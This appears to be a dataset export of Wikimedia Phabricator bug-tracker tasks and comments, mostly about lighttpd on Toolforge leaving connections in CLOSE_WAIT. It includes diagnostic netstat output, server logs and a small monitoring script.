     31 05/Jul/2015:08:09:01
     66 05/Jul/2015:09:09:01
     54 05/Jul/2015:10:09:01
     38 05/Jul/2015:10:39:01
     37 05/Jul/2015:11:09:01
     35 05/Jul/2015:11:39:01
     22 05/Jul/2015:11:58:34
```

with a whole batch of connections every half-hour.

Tools-webproxy-02 doesn't seem to see this connection, though, so I'm a bit at a loss to what's happening here.

Restarting the webservice solved the issue.



Using
```
#!/bin/bash
for i in `qconf -sel | grep webgrid`
do
    echo $i
    echo --------------------
    ssh $i ""sudo netstat -e -v -W 2>/dev/null | grep CLOSE_WAIT | sed -e 's/.*CLOSE_WAIT\s*//' | cut -d' ' -f1 | sort | uniq -c""
    echo --------------------
    echo
done
```

we see a few servers have a few (<=5) connections open, which is probably just actual traffic. However, two tools have large amounts of open connections:""

```
tools-webgrid-lighttpd-1402.eqiad.wmflabs
--------------------
    103 tools.blockcalc
--------------------
(...)
tools-webgrid-lighttpd-1408.eqiad.wmflabs
--------------------
    150 tools.geohack
--------------------
```",High,80.0,1436098763,1578173486.0,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_description,resolved,True,c3,3,True,False,False,0,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.483870967741935,0.8064516129032258,"This happened for croptool on 5 jul 2015:

Last lines in error.log:
``CODE`CODE`CODE`CODE`CODE`CODE`CODEcat croptools-inodesCODEcat croptools-timestampsCODE`CODE`CODE`CODE`CODEqconf -sel | grep webgridCODE`CODE`CODE``"
1419252,lighttpd does not correctly close connections (CLOSE_WAIT),We are using lighttpd/1.4.45 on the job grid as of https://wikitech.wikimedia.org/wiki/News/Toolforge_Trusty_deprecation,,,1578173486,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,True,,,235,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,1.0,We are using lighttpd/1.4.45 on the job grid as of URL
795583,lighttpd does not correctly close connections (CLOSE_WAIT),">>! In T104799#2960502, @gstrauss-wiki wrote:
> Alternatively, you can use Debian packages from stbuehler (another lighttpd maintainer)
> https://build.opensuse.org/package/show/home:stbuehler:lighttpd-1.4.x-nightlies/lighttpd

Unfortunately, tool labs doesn't use debs from those sources; please see [[https://wikitech.wikimedia.org/wiki/Nova_Resource:Tools/Admin#Local_package_policy|local package policy]].

Backporting `sid` sounds more likely.",,,1485155476,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,True,,,81,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.8857142857142857,0.8,"QUOTE
QUOTE
QUOTE

Unfortunately, tool labs doesn't use debs from those sources; please see [[URL package policy]].

Backporting CODE sounds more likely."
795578,lighttpd does not correctly close connections (CLOSE_WAIT),"FYI: lighttpd 1.4.45 is in sid unstable
https://buildd.debian.org/status/package.php?p=lighttpd&suite=sid
and should be in stretch in another week or so.

lighttpd 1.4.45 is on target to be part of the next Debian major release.

Alternatively, you can use Debian packages from stbuehler (another lighttpd maintainer)
https://build.opensuse.org/package/show/home:stbuehler:lighttpd-1.4.x-nightlies/lighttpd",,,1485154870,,PHID-USER-ypnc6tzwywec5h3zaegy,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,False,,,81,True,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,11.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0181818181818185,0.7454545454545455,"FYI: lighttpd 1.4.45 is in sid unstable
URL
and should be in stretch in another week or so.

lighttpd 1.4.45 is on target to be part of the next Debian major release.

Alternatively, you can use Debian packages from stbuehler (another lighttpd maintainer)
URL"
722563,lighttpd does not correctly close connections (CLOSE_WAIT),"That's great news! Unfortunately, debian is not bundling 1.4.40 yet, even in `sid` , so we will have to wait for that to happen, unless we find the time to build-and-test packages ourselves...",,,1473002943,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,True,,,61,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,12.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,2.0,2.0,7.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,7.0,14.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.697674418604651,0.8372093023255814,"That's great news! Unfortunately, debian is not bundling 1.4.40 yet, even in CODE , so we will have to wait for that to happen, unless we find the time to build-and-test packages ourselves..."
695761,lighttpd does not correctly close connections (CLOSE_WAIT),"FYI: lighttpd 1.4.40 (released yesterday) addresses ""lighttpd does not correctly close connections (CLOSE_WAIT)"" and has more robust connection handling and cleanup, as well as detection and propagation of client aborts.",,,1468737832,,PHID-USER-ypnc6tzwywec5h3zaegy,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,False,,,54,True,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.897435897435898,0.8205128205128205,"FYI: lighttpd 1.4.40 (released yesterday) addresses ""lighttpd does not correctly close connections (CLOSE_WAIT)"" and has more robust connection handling and cleanup, as well as detection and propagation of client aborts."
596379,lighttpd does not correctly close connections (CLOSE_WAIT),"This killed erwin85 tools today.

```
2016-01-21 18:47:39: (log.c.166) server started
2016-01-21 19:31:10: (log.c.166) server started
2016-01-21 19:31:44: (server.c.1512) server stopped by UID = 0 PID = 23274
2016-01-21 19:47:57: (server.c.1512) server stopped by UID = 0 PID = 3845
/usr/local/bin/lighttpd-starter: line 41: /var/run/lighttpd/erwin85.conf~: Permission denied
/usr/local/bin/lighttpd-starter: line 88: /var/run/lighttpd/erwin85.conf~: Permission denied
/usr/local/bin/lighttpd-starter: line 96: /var/run/lighttpd/erwin85.conf~: Permission denied
mv: accessing `/var/run/lighttpd/erwin85.conf': Permission denied
2016-01-21 19:47:59: (configfile.c.958) opening configfile  /var/run/lighttpd/erwin85.conf failed: Permission denied
/usr/local/bin/lighttpd-starter: line 41: /var/run/lighttpd/erwin85.conf~: Permission denied
/usr/local/bin/lighttpd-starter: line 88: /var/run/lighttpd/erwin85.conf~: Permission denied
/usr/local/bin/lighttpd-starter: line 96: /var/run/lighttpd/erwin85.conf~: Permission denied
mv: accessing `/var/run/lighttpd/erwin85.conf': Permission denied
[...]
2016-01-21 22:02:41: (configfile.c.958) opening configfile  /var/run/lighttpd/erwin85.conf failed: Permission denied
/usr/local/bin/lighttpd-starter: line 41: /var/run/lighttpd/erwin85.conf~: Permission denied
/usr/local/bin/lighttpd-starter: line 88: /var/run/lighttpd/erwin85.conf~: Permission denied
/usr/local/bin/lighttpd-starter: line 96: /var/run/lighttpd/erwin85.conf~: Permission denied
mv: accessing `/var/run/lighttpd/erwin85.conf': Permission denied
2016-01-21 22:13:38: (configfile.c.958) opening configfile  /var/run/lighttpd/erwin85.conf failed: Permission denied
2016-01-21 22:14:12: (log.c.166) server started
2016-01-25 02:26:36: (server.c.1398) [note] sockets disabled, connection limit reached
2016-01-25 11:28:29: (server.c.1512) server stopped by UID = 0 PID = 19052
2016-01-25 11:28:32: (log.c.166) server started
```

Nothing suspicious happened at the time:
```
10.68.21.49 tools.wmflabs.org - [24/Jan/2016:21:00:20 +0000] ""GET /erwin85/randomarticle.php?lang=en&family=wikipedia&categories=Physics HTTP/1.1"" 302 3283 ""-"" ""Faraday v0.8.9""
10.68.21.49 tools.wmflabs.org - [25/Jan/2016:01:58:44 +0000] ""GET /erwin85 HTTP/1.1"" 301 0 ""-"" ""Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)""
10.68.21.49 tools.wmflabs.org - [25/Jan/2016:02:26:10 +0000] ""GET /erwin85/css/Tool.css HTTP/1.1"" 200 235 ""-"" ""Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)""
```

Yahoo and Google crawlers driving the webservers crazy?",,,1453721843,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,True,,,29,True,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,5.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,17.333333333333332,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,5.333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.3333333333333333,6.666666666666667,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,0.6666666666666666,3.810699588477366,0.48971193415637854,"This killed erwin85 tools today.

``CODE/var/run/lighttpd/erwin85.conf': Permission denied
2016-01-21 19:47:59: (configfile.c.958) opening configfile  /var/run/lighttpd/erwin85.conf failed: Permission denied
/usr/local/bin/lighttpd-starter: line 41: /var/run/lighttpd/erwin85.conf~: Permission denied
/usr/local/bin/lighttpd-starter: line 88: /var/run/lighttpd/erwin85.conf~: Permission denied
/usr/local/bin/lighttpd-starter: line 96: /var/run/lighttpd/erwin85.conf~: Permission denied
mv: accessing CODE/var/run/lighttpd/erwin85.conf': Permission denied
2016-01-21 22:13:38: (configfile.c.958) opening configfile  /var/run/lighttpd/erwin85.conf failed: Permission denied
2016-01-21 22:14:12: (log.c.166) server started
2016-01-25 02:26:36: (server.c.1398) [note] sockets disabled, connection limit reached
2016-01-25 11:28:29: (server.c.1512) server stopped by UID = 0 PID = 19052
2016-01-25 11:28:32: (log.c.166) server started
``CODE`CODE``

Yahoo and Google crawlers driving the webservers crazy?"
588216,lighttpd does not correctly close connections (CLOSE_WAIT),"fwiw, this seems to be a fairly regular occurrence for some tools. I grepped all error.logs for ""connection limit reached"", and these tools seem to be regulars:

```
    263 _data_project_catscan2_error.log.conlim
    878 _data_project_joanjoc_error.log.conlim
   6323 _data_project_geohack_error.log.conlim
   7457 _data_project_persondata_error.log.conlim
   9226 _data_project_spellcheck_error.log.conlim
```

Although not all of them have recent issues. 
",,,1452464496,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,True,,,27,True,6.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,6.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,3.68,0.76,"fwiw, this seems to be a fairly regular occurrence for some tools. I grepped all error.logs for ""connection limit reached"", and these tools seem to be regulars:

``CODE``

Although not all of them have recent issues. 
"
588204,lighttpd does not correctly close connections (CLOSE_WAIT),"The seven-year-old issue http://redmine.lighttpd.net/issues/1829 might actually be the same one. I think I ignored it last time (because it's 7 years old), but we are actually running lighttpd 1.4.19 on tool labs.

One simple test that gives me somewhat comparable behavior is a php sleep, with the client disconnecting. That gives me a CLOSE_WAIT until php returns from the sleep(). Could it be that there are php processes in the background waiting for something? e.g. a slow database query?

An idea would be to enable mod_status to check in what state lighttpd thinks the connection is.",,,1452461998,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,True,,,27,True,0.0,1.0,0.0,0.0,0.0,5.0,2.5,0.5,0.0,0.0,2.5,0.0,0.0,0.5,1.0,3.0,1.0,2.5,8.5,1.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,1.0,1.5,6.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,15.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,7.5,5.0,6.0,1.5,0.5,8.5,0.0,0.0,0.0,0.0,4.0,0.0,2.5,0.0,5.5,8.5,1.0,1.5,0.0,0.0,5.5,0.0,1.5,3.0,1.5,2.0,0.0,0.0,0.0,3.974137931034483,0.8448275862068966,"The seven-year-old issue URL might actually be the same one. I think I ignored it last time (because it's 7 years old), but we are actually running lighttpd 1.4.19 on tool labs.

One simple test that gives me somewhat comparable behavior is a php sleep, with the client disconnecting. That gives me a CLOSE_WAIT until php returns from the sleep(). Could it be that there are php processes in the background waiting for something? e.g. a slow database query?

An idea would be to enable mod_status to check in what state lighttpd thinks the connection is."
588202,lighttpd does not correctly close connections (CLOSE_WAIT),This happened for tools.meta today.,,,1452461023,,PHID-USER-s2qdnwktshsvjwhpuhee,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,False,,,27,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.166666666666667,1.0,This happened for tools.meta today.
554730,lighttpd does not correctly close connections (CLOSE_WAIT),Happened for tools.wikidata-game today.,,,1446133736,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,True,,,17,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.142857142857143,1.0,Happened for tools.wikidata-game today.
500909,lighttpd does not correctly close connections (CLOSE_WAIT),"Note that I enabled https://tools.wmflabs.org/croptool/server-statistics . When the same problem occured six days ago, the status page was still accessible and showed > 200 'fastcgi.active-requests'. 

So I added a small script that checks the value of 'fastcgi.active-requests' every minute. If the number exceeds 150, it restarts the server and writes a log entry (to 'check-server.log'). No new anomalies since then.",,,1438544943,,PHID-USER-53x4y44yt43qjivfzsqf,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,False,,,4,True,1.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,1.0,3.0,0.0,0.0,0.0,3.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,1.0,10.0,5.0,3.0,11.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,4.0,6.0,0.0,0.0,8.0,0.0,4.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.9367088607594938,0.7341772151898734,"Note that I enabled URL . When the same problem occured six days ago, the status page was still accessible and showed > 200 'fastcgi.active-requests'. 

So I added a small script that checks the value of 'fastcgi.active-requests' every minute. If the number exceeds 150, it restarts the server and writes a log entry (to 'check-server.log'). No new anomalies since then."
492687,lighttpd does not correctly close connections (CLOSE_WAIT),"Strange. Same problem today. 298 CLOSE_WAIT connections at tools-webgrid-lighttpd-1206.eqiad.wmflabs

```
tcp        1      0 tools-webgrid-lighttpd-1206.tools.eqiad.wmflabs:41146 tools-webproxy-02.tools.eqiad.wmflabs:37825 CLOSE_WAIT  tools.croptool 26528931
tcp        1      0 tools-webgrid-lighttpd-1206.tools.eqiad.wmflabs:41146 tools-webproxy-02.tools.eqiad.wmflabs:53480 CLOSE_WAIT  tools.croptool 26538356
tcp        1      0 tools-webgrid-lighttpd-1206.tools.eqiad.wmflabs:41146 tools-webproxy-02.tools.eqiad.wmflabs:56666 CLOSE_WAIT  tools.croptool 26538419
```
and equally many

```
unix  3      [ ]         STREAM     CONNECTING    0        /tmp/php.socket.croptool-0
unix  3      [ ]         STREAM     CONNECTING    0        /tmp/php.socket.croptool-1
unix  3      [ ]         STREAM     CONNECTING    0        /tmp/php.socket.croptool-0
```
Restart helped.",,,1437080992,,PHID-USER-53x4y44yt43qjivfzsqf,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0476190476190474,0.7619047619047619,"Strange. Same problem today. 298 CLOSE_WAIT connections at tools-webgrid-lighttpd-1206.eqiad.wmflabs

``CODE`CODE`CODE``
Restart helped."
486733,lighttpd does not correctly close connections (CLOSE_WAIT),"The nginx/webproxy log doesn't help too much. I think the dates/times mentioned above might just be wrong (I based the find on https://superuser.com/questions/565991/how-to-determine-the-socket-connection-up-time-on-linux)

As for the socket state,
""CLOSE_WAIT means that the local end of the connection has received a FIN from the other end, but the OS is waiting for the program at the local end to actually close its connection."" 

so that suggests this is lighttpd forgetting to close connections? not sure...",,,1436099716,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-uvni3co3ik2xd2bwzqu6,task_subcomment,,True,c3,3,True,,,0,True,1.0,0.0,0.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,1.0,8.0,11.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,8.0,4.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,1.0,15.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,12.0,3.0,9.0,1.0,1.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,0.0,1.0,2.0,0.0,4.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,3.8461538461538463,0.7472527472527473,"The nginx/webproxy log doesn't help too much. I think the dates/times mentioned above might just be wrong (I based the find on URL

As for the socket state,
""CLOSE_WAIT means that the local end of the connection has received a FIN from the other end, but the OS is waiting for the program at the local end to actually close its connection."" 

so that suggests this is lighttpd forgetting to close connections? not sure..."
104759,"Cannot login to wikitech: ""Login error""","When logging in from https://wikitech.wikimedia.org/w/index.php?title=Special:UserLogin&returnto=Main+Page, expected: login successful
Actual results: ""Login error Wikitech uses cookies to log in users. You have cookies disabled. Please enable them and try again""

Logging in to other production wikis are fine. ",High,80.0,1435995369,1435996233.0,PHID-USER-6dmbpidylyt4dzsxzjg4,False,PHID-USER-6dmbpidylyt4dzsxzjg4,False,PHID-TASK-sqkuearomydbhdxwpwzd,task_description,duplicate,True,c3,3,True,True,True,0,True,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,17.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,4.0,13.0,2.0,0.0,4.0,0.0,4.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,4.217391304347826,0.8260869565217391,"When logging in from URL expected: login successful
Actual results: ""Login error Wikitech uses cookies to log in users. You have cookies disabled. Please enable them and try again""

Logging in to other production wikis are fine. "
486482,"Cannot login to wikitech: ""Login error""",same here. (=confirmed),,,1435995985,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-sqkuearomydbhdxwpwzd,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,same here. (=confirmed)
104726,blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS,"blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS.

https://blog.wikimedia.org/feed/",High,80.0,1435949766,1580868354.0,PHID-USER-7ey733eainlhx5xqp4d3,False,PHID-USER-tbsqok4i4d2fpoef36s2,False,PHID-TASK-7kwdiqzwj274sx4nrksn,task_description,declined,True,c3,3,False,False,False,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.9,"blog rss feed links to HTTP (cleartext) blog posts even when feed fetched over HTTPS.

URL"
